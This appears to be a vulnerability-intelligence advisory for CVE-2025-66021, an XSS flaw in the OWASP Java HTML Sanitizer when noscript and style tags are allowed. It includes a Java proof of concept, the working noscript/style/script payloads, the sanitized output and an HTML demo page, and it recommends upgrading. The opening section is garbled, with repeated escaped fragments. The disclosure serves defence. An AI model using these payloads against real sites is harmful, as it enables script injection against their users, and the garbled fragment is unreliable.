Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
\n\n\nPAYLOAD:
\n\n```\n\n5. Lets understand what happened in sanitization process below \n\n```txt\n--------------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: \n\n-------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: \n\n```\n\n6. Lets create a sample html page and copy both sanitized output which should be generated in step 5 \n\n```HTML\n\n\n\n\n \n\n\n\nPAYLOAD:
\n\n```\n\n5. Lets understand what happened in sanitization process below \n\n```txt\n--------------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: \n\n-------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: \n\n```\n\n6. Lets create a sample html page and copy both sanitized output which should be generated in step 5 \n\n```HTML\n\n\n\n\n \nCVE-2025-66021 is a medium severity vulnerability with a CVSS score of 6.1. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
It is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy.
The OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows noscript & style tag with allowTextIn inside style tags.
The following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except noscript and allow style tag with allowTextIn inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives noscript tags post sanitization.
HtmlPolicyBuilder which allows p, noscript, style html tags and allows .allowTextIn("style").1. <noscript><style></noscript><script>alert(1)</script>
2. <p><style></p><script>alert(1)</script>
public class main {
private static final String ALLOWED_HTML_TAGS = "p, noscript, style";
/**
* Description of vulnerability :
* The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags.
* However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases.
*/
public static void main(String[] args) {
withAllowedTextAndStyleTag();
}
/**
* Test case : Vulnerable to XSS
*/
public static void withAllowedTextAndStyleTag() {
HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();
PolicyFactory policy = htmlPolicyBuilder
.allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*"))
.allowTextIn("style")
.toFactory();
String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>";
String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";
System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne));
System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo));
}
}
| Vendor | Product |
|---|---|
| Owasp | Java Html Sanitizer |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
Use the latest library version
<dependency>
<groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
<artifactId>owasp-java-html-sanitizer</artifactId>
<version>20240325.1</version>
</dependency>
PAYLOAD: <noscript><style></noscript><script>alert(1)</script>
SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>
PAYLOAD: <p><style></p><script>alert(1)</script>
SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>
--------------------------| --> anything after style tag is cosidered as CSS and not sanitized
PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS
-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed.
SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>
-------------------| --> anything after style tag is cosidered as CSS and not sanitized
PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS
--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed.
SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>POC OF SANITIZER OUTPUT</title>
</head>
<body>
<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>-->
<noscript><style></noscript><script>alert(1)</script></style></noscript>
<!-- SAFE OUTPUT -->
<p><style></p><script>alert(1)</script></style></p>
</body>
</html>
style tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.